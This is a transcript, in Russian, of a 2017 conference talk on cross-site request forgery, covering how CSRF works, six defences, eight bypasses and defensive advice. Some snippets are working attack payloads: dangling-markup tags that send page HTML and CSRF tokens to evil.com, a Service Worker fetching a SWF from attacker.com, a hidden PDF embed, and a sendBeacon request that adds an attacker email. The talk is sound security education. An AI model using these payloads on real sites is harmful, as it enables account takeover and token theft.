CSFR (Сross Site Request Forgery) в переводе на русский — это подделка межсайтовых запросов. Михаил Егоров (0ang3el) в своем докладе на Highload++ 2017 рассказал о CSRF-уязвимостях, о том, какие обычно используются механизмы защиты, а также как их все равно можно обойти. А в конце вывел ряд советов о том, как правильно защищаться от CSFR-атак. Под катом расшифровка этого выступления.
О спикере: Михаил Егоров работает в компании Ingram Micro Cloud и занимается Application security. В свободное время Михаил занимается поиском уязвимостей и Bug hunting и выступает на security-конференциях
Дисклаймер: приведенная информация является сугубо мнением автора, все совпадения случайны.
В том, что CSRF-атаки работают виноват этот Cookie-монстр. Дело в том, что многие веб-приложения используют куки (здесь и далее считаем уместным называть cookies по-русски) для управления сессией пользователя. Браузер устроен так, что, если у него есть куки пользователя для данного домена и пути, он их автоматически отправляет вместе с HTTP-запросом.
Cookies
Куки — это небольшой фрагмент данных, который веб-сервер отправляет клиенту в виде name=value в HTTP-заголовке c названием «Set-Cookie». Браузер хранит эти данные на компьютере пользователя, и всякий раз при необходимости пересылает этот фрагмент данных веб-серверу в составе HTTP-запроса в HTTP-заголовке с названием «Cookie».
Куки могут иметь различные атрибуты, такие как: expires, domain, secure, httponly:
Впервые куки появились в браузере Netscape в далеком 1994 году. До сих пор многие веб-приложения используют их для управления сессией пользователя.
Рассмотрим, как работает классическая Сross Site Request Forgery (CSRF) атака.
Допустим, в нашем веб-приложении есть возможность изменять адрес доставки у пользователя, и оно использует куки для управления сессией.
У нас есть HTML-форма, которую пользователь должен заполнить: ввести адрес и нажать кнопку «Сохранить». В результате в бэкенд полетит POST-запрос с HTML-формой. Мы видим, что браузер автоматически поставил туда сессионные куки пользователя. Бэкенд, когда получит такой запрос, посмотрит, что есть такая сессия, это легитимный пользователь, и изменит ему адрес доставки.
Что может сделать атакующий?
Он может на своем сайте attacker.com разместить такую HTML-страничку, которая на самом деле сабмитит HTML-форму на сайт example.com. Так как браузер автоматически вставляет куки пользователя в HTTP-запрос, то бэкенд просто не поймет, является ли данный запрос легитимным — результат ли это заполнения формы пользователем, или это CSFR-атака — и поменяет адрес доставки для пользователя на значение, которое выгодно для атакующего.
Есть другой вариант CSFR-атаки с использованием XHR API. Если о CSFR-атаке с использованием HTML-форм слышали многие, то о данном способе знают меньше, но он тоже работает.
Обратите внимание на атрибут withCredentials, который заставляет браузер автоматически отправлять куки пользователя. Так как значение Content-type равно application/x-www-form-urlencoded, то браузер данный запрос отправит без CORS options preflight request, и опять CSFR-атака будет работать.
Рассмотрим более наглядно, как это происходит.
Исходные данные:
- приложение example.com, которое уязвимо к CSFR,
- пользователь,
- сайт атакующего, где есть страничка csrf-xhr.html.
Пользователь аутентифицирован в приложении, которое находится на example.com. Если он зайдет на сайт атакующего, то автоматически выполнится POST-запрос, который поменяет адрес доставки. Браузер автоматически вставит сессионные куки в запрос и бэкенд поменяет адрес.
История CSRF-атак
Вообще о CSRF-атаках известно с 2001 года, когда их начали активно эксплуатировать. В период 2008-2012 такие уязвимости были на каждом первом сайте, в том числе:
- YouTube;
- The New York Times;
- Badoo;
- Slideshare;
- Vimeo;
- Hulu;
- КиноПоиск;
- …
Насколько серьезны CSRF-уязвимости?
На самом деле, все зависит от критичности уязвимого действия. Это может быть:
- Account takeover — атакующий захватывает аккаунт жертвы путем смены email через CSRF.
- Privilege Escalation — повышение привилегий за счет того, что атакующий через CSRF создает нового пользователя с высокими правами в системе.
- Remote code execution — выполнение кода за счет эксплуатации command injection в админке через CSRF.
Обратимся к тому, что говорят международные устоявшиеся классификации уязвимостей по поводу серьезности CSRF.
В проекте OWASP Top 10, который содержит 10 наиболее критичных уязвимостей в приложении, в 2010 году CSRF-уязвимости находились на 5 месте. Потом разработчики начали имплементировать различные варианты защиты и уже в 2013 году CSRF-уязвимости сместились на 8 позицию.
В список за 2017 год CSRF-уязвимости вообще не вошли, потому что якобы по статистике сейчас при penetration-тестировании они находятся только в 8% случаев.
Лично я не согласен с данной статистикой, потому что буквально за последние два года находил много CSRF-уязвимостей. Дальше я расскажу, как я это делал.
В классификации Bugcrowd VRT (Vulnerability Rating Taxonomy) Application-wide CSRF-уязвимости имеют рейтинг severity P2 (High). Выше только severity critical, то есть это достаточно серьезные уязвимости.
Рассмотрим, какие варианты защиты от CSRF существуют и как работает каждый из вариантов защиты.
1. CSRF token
- Для каждой пользовательской сессии генерируется уникальный и высокоэнтропийный токен.
- Токен вставляется в DOM HTML страницы или отдается пользователю через API.
- Пользователь с каждым запросом, связанным с какими-либо изменениями, должен отправить токен в параметре или в HTTP-заголовке запроса.
- Так как атакующий не знает токен, то классическая CSRF-атака не работает.
2. Double submit cookie
- Опять генерируется уникальный и высокоэнтропийный токен для каждой пользовательской сессии, но он помещается в куки.
- Пользователь должен в запросе передать одинаковые значения в куках и в параметре запроса.
- Если эти два значения совпадают в куках и в параметре, то считается, что это легитимный запрос.
- Так как атакующий просто так не может изменить куки в браузере пользователя, то классическая CSRF-атака не работает.
3. Content-Type based protection
- Пользователь должен отправить запрос с определенным заголовком Content-Type, например, application/json.
- Так как в браузере через HTML форму или XHR API невозможно отправить произвольный Content-Type cross-origin, то классическая CSRF-атака опять не работает.
4. Referer-based protection
- Пользователь должен отправить запрос с определенным значением заголовка Referer. Бэкенд его проверяет, если он неверный, то считается, что это CSRF-атака.
- Так как браузер не может отправить произвольный Referer через HTML форму или XHR API, то классическая CSRF-атака не работает.
5. Password confirmation / websudo
- Пользователь должен подтверждать действие с помощью пароля (или секрета).
- Так как атакующий его не знает, то классическая CSRF-атака не работает.
6. SameSite Cookies в Chrome, Opera
Это новая технология, которая призвана защитить от CSRF. В данный момент она работает только в двух браузерах (Chrome, Opera).
- У куки устанавливается дополнительный атрибут — samesite, который может иметь два значения: lax или strict.
- Суть технологии в том, что браузер не отправляет куки, если запрос осуществляется с другого домена, например, с сайта атакующего. Таким образом это опять защищает от классической CSRF-атаки.
Но, к сожалению, везде есть особенности работы браузеров, веб-приложений и их деплоймента, которые иногда позволяют обходить CSRF защиты.
Поэтому, теперь давайте поговорим о 8 способах обхода защиты, которые можно использовать на практике.
Сценарии обхода:
1. XSS (cross-sitescripting)
Если в вашем веб-приложении есть XSS, то это автоматически делает его уязвимым к CSRF, и от этого сложно защититься. Можно только смириться.
2. Dangling markup
Допустим, в нашем приложении есть уязвимость к HTML injection, но нет XSS. Например, есть Content Security Policy (CSP), которая защищает от XSS. Но атакующий все равно может внедрять HTML теги.
Если в нашем приложении реализована защита, основанная на CSRF-токенах, атакующий может внедрить такой HTML, это не закрытые теги image или form:
<img src='https://evil.com/log_csrf?html=
<form action='http://evil.com/log_csrf'><textarea>
В результате часть DOM HTML страницы будет отправлена на ресурс атакующего. Высока вероятность того, что если атакующий правильно внедрит такой HTML, тогда то, что придет на сайт атакующего, будет содержать CSRF-токен.
Таким образом узнав токен, атакующий сможет эксплуатировать CSRF классическим способом.
3. Уязвимый субдомен
Допустим, у нас есть субдомен foo.example.com, и он уязвим к subdomain takeover или XSS. В результате subdomain takeover, атакующий полностью контролирует субдомен и может добавлять туда любые HTML-странички или выполнять JS-код в контексте субдомена. Если наш субдомен уязвим к таким вещам, то атакующий сможет обойти следующие типы CSRF-защиты:
- CSRF tokens;
- Double submit cookie;
- Content-Type based protection.
Допустим, наше основное приложение использует CORS (Cross-Origin Resource Sharing) для междоменного взаимодействия. В ответ сервера вставляются два заголовка:
- Access-Control-Allow-Origin: foo.example.com (foo.example.com — уязвимый субдомен);
- Access-Control-Allow-Credentials: true — чтобы с помощью XHR API можно было сделать запрос с куками пользователя.
Если выполнены эти условия, атакующий просто сможет прочитать CSRF-токен из субдомена, который он контролирует, и дальше эксплуатировать CSRF классическим способом.
Следующий вариант. Допустим, на основном домене, который мы хотим атаковать, есть файл crossdomain.xml. Этот файл используется flash- и PDF-плагинами для субдоменного взаимодействия, и к нему разрешен доступ с любых субдоменов.
<cross-domain-policy>
<allow-access-from domain="*.example.com" />
</cross-domain-policy>
Если атакующий может загрузить JS-файл на foo.example.com, то в этом случае он может использовать Service Worker API для субдомена foo.example.com, который на самом деле отдает flash-файл.
var url = "https://attacker.com/bad.swf";
onfetch = (e) => {
e.respondWith(fetch(url);
}
Так как у нас есть crossdomain.xml на основном домене, который разрешает взаимодействие субдоменов, то атакующий через этот SWF просто читает CSRF токен.
Кстати, подобная уязвимость недавно была найдена в Amazon, подробнее здесь.
Даже если не сконфигурирован CORS и нет файла crossdomain.xml, но используется защита Double submit cookie, атакующий может просто вставлять куки с субдомена для родительского домена на путь, где он хочет эксплуатировать CSRF, и таким образом обойти Double submit cookie защиту.
4. Bad PDF
Этот сценарий обхода основан на PDF. В Adobe есть PDF плагин, который автоматически устанавливается при установке Adobe Reader. Этот плагин поддерживает так называемый FormCalc скрипт. Правда, сейчас PDF плагин от Adobe работает только в IE11 и Firefox ESR.
В FormCalc есть два замечательных метода: get() и post(). Атакующий с помощью метода get может прочитать CSRF токен, с помощью post отправить к себе на сайт. Так атакующий получает CSRF-токен жертвы.
Допустим, у нас есть возможность загрузить PDF-файл в веб-приложение. На самом деле это может быть даже файл другого формата, например, атакующий может попытаться загрузить PDF под видом картинки, которая является аватаром пользователя.
У приложения есть некоторый API на основном домене, который позволяет получать содержимое загруженного файла. Тогда атакующий может использовать такую HTML страничку, которая с помощью тега embed встраивает PDF-файл, который атакующий загрузил на example.com.
<h1>Nothing to see here!</h1>
<embed src="https://example.com/shard/x1/sh/leak.pdf" width="0" height="0" type='application/pdf'>
Файл leak.pdf:
Этот файл содержит FormCalc скрипт, который как раз читает страницу Settings.action, где в DOM есть CSRF токен и отправляет с помощью метода post на сайт атакующего.
Так как PDF загружается с сайта example.com, то сам этот PDF имеет доступ полностью ко всему origin https://example.com
, и может оттуда читать данные, не нарушая режим Same Origin Policy (SOP).
Дополнительный фокус в том, что для PDF плагина не важно, с каким Content-Type отдается PDF-файл, и даже в HTTP-ответе могут присутствовать другие заголовки (например, Content-Disposition). PDF плагин все равно будет рендерить этот PDF и выполнять FormCalc скрипт.
5. Cookie injection
Если используется Double submit cookie защита, то если атакующий сможет каким-либо образом внедрить куки, то это game over.
Один из наиболее популярных вариантов в этом сценарии — это CRLFinjection.
Если атакующий может вставлять в ответ сервера дополнительные заголовки, то он просто может добавить заголовок Set-Cookie с нужными куками и обойти CSRF-защиту.
Другой вариант связан с особенностями обработки куков браузером.
Например, в Safari можно через запятую вставлять новые куки (comma-separated cookies). Допустим, у нас есть URL-параметр в заголовке с именем language. Мы его обрабатываем и записываем пользователю в куки выбранное значение language. Если атакующий вставит запятую, то он может вставить и дополнительные куки с любым именем.
Также в обходе CSRF-защиты могут посодействовать баги браузера. Например, в Firefox была возможность внедрять куки через SVG-картинку (CVE-2016-9078). Если у нас есть HTML-редактор и мы разрешаем пользователю вставлять image-теги, то атакующий может просто в SRC-атрибуте указать на SVG-картинку, которая установит нужные куки.
6. Change Content-Type
Некоторые разработчики считают, что если используется нестандартный формат данных в теле POST-запроса для общения с бэкендом, то это может спасти от CSRF. На самом деле это не так.
В качестве примера приведу уязвимость, которую я недавно нашел в одном очень популярном сервисе по управлению заметками.
Там использовался API, который использует Apache Thrift (бинарный формат данных) и куки для управления сессией. Допустим, чтобы добавить новую заметку, пользователь должен был отправить такой POST-запрос. В теле передавались бинарные данные и указывался Content-Type: application/x-thrift.
POST /user/add/note HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://example.com
Cookie: JSESSIONID=728FAA7F23EE00B0EDD56D1E220C011E.jvmroute8081;
Connection: close
Content-Type: application/x-thrift
Content-Length: 43
На самом же деле в бэкенде этот Content-Type не валидировался. Можно было его поменять на text/plain и с помощью XHR API эксплуатировать эту CSRF-уязвимость, просто передав бинарные данные в теле POST-запроса.
На самом деле защита, основанная на Content-Type — это очень плохой вариант защиты. Он в большинстве случаев обходится.
7. Non-simple Content-Type
Через HTML-форму или с помощью XHR API мы можем отправить следующие content types:
- text/plain;
- application/x-www-form-urlencoded;
- multipart/form-data.
На самом деле есть возможность отправлять любые значения Content-Type через:
- баги в браузерах (например, Navigator.sendBeacon);
- плагины: Flash plugin + 307 redirect и PDF plugin + 307 redirect;
- фреймворки на бэкэнде.
Некоторые фреймворки, например, JAX-RS фреймворк Apache CXF поддерживает в URL параметр с именем ctype. В этом параметре можно указать любой Content-Type, бэкенд посмотрит на этот параметр и будет его использовать вместо Content-Type, которые передается в header (ссылка на источник).
Довольно известный баг в браузере Chrome был найден в 2015 году, после этого примерно через месяц попал в публичный доступ, но был исправлен только в 2017 году. Этот баг позволял отправлять POST-запрос с любым Content-Type на другой origin с помощью API, которое называется Navigator.sendBeacon().
Как выглядела эксплуатация?
<script>
function jsonreq() {
var data = '{"action":"add-user-email","Email":"attacker@evil.com"}';
var blob = new Blob([data], {type : 'application/json;charset=utf-8'});
navigator.sendBeacon('https://example.com/home/rpc', blob );
}
jsonreq();
</script>
Мы создаем новый blob с нужным Content-Type и просто отправляем его с помощью Navigator.sendBeacon().
Еще один сценарий обхода, который до сих пор работает и поддерживается в браузерах — обход с помощью flash-плагина.
Даже есть сайт thehackerblog.com, где уже есть готовая флэшка, вы просто указываете URL, header, нужный Content-Type и данные, которые надо передать — отправляете, и в бэкенд улетает POST-запрос с нужным Content-Type.
Но есть одна хитрость — нельзя просто указать URL сайта, который мы атакуем. Нужно указать ресурс, который сделает redirect с кодом 307 на ресурс, который мы атакуем. Тогда это будет работать.
8. Spoof Referer
Последний вариант обхода защиты от CSRF основан на Referer. Есть баг в Microsoft Edge браузере, который до сих пор не исправлен и позволяет подделывать значение Referer. Но он работает, к сожалению, только для GET-запросов. Если атакуемый бэкенд не отличает GET от POST, то этот баг можно эксплуатировать.
Если все же нам надо POST, то есть небольшая хитрость. Мы можем отправить header Referer с помощью PDF плагина и FormCalc.
Где-то год назад можно было с помощью PDF плагина отправлять вообще любые header’ы, в том числе host, но потом Adobe закрыл эту возможность создав черный список header’ов. То есть если мы укажем Referer в заголовке, то этот заголовок просто не отправится.
Вообще FormCalc позволяет нам легально отправлять любой Content-Type. Если мы будем вставлять символы carridge return и line feed, то сможем добавлять в запрос дополнительные header’ы.
Что будет, если мы внедрим header Referer http://example.com
?
Понятно, что он не находится в черном списке и в бэкенд будет отправлен header с именем Referer http://example.com
.
Некоторые серверы, например, WildFly или Jboss, воспринимают пробел как конец имени HTTP-заголовка, то есть двоеточие `:`. Таким образом такие сервера увидят, что к ним пришел Referer со значением http://example.com
. Таким образом мы подменим Referer.
Это итоговая таблица. В столбцах представлены варианты защиты от CSRF, а в строках — методы обхода. В каждой ячейке указаны браузеры, в которых работает этот метод:
- All означает, что для всех браузеров;
- All* означает браузеры, которые не поддерживают SameSite Cookies, т.е. все кроме Chrome и Opera.
Наиболее кардинальный и работающий вариант защититься от CSRF-атак — это избавиться от куков и использовать header с токенами.
Но если вы все-таки не готовы отказаться от куков для управления пользовательской сессией:
- Моделируйте угрозы и проверяйте реализацию CSRF-защиты (см. Итоговую таблицу).
- Имплементируйте SameSite Cookies. Сейчас только два браузера поддерживают, но в дальнейшем, наверное, их будет больше.
- Комбинируйте различные CSRF-защиты — defense in depth.
- Спрашивайте у пользователя пароль для выполнения критичных действий.
- Отдавайте загружаемые пользователем файлы с отдельного домена.
Не прошло и полугода, а следующий хайлоад уже через месяц — Highload++ Siberia.
Хотим привлечь ваше внимание к некоторым из отобранных докладов:
- Плачу за всех! Как мы интегрировали платежные системы, не пользуясь собственным биллингом / Антон Русаков.
- njs — родной javascript-скриптинг в nginx / Дмитрий Волынцев.
- PG Saga: зависимые изменения данных в нескольких сервисах без двухфазных коммитов и синхронных зависимостей / Константин Евтеев.
Автор: mi5ha6in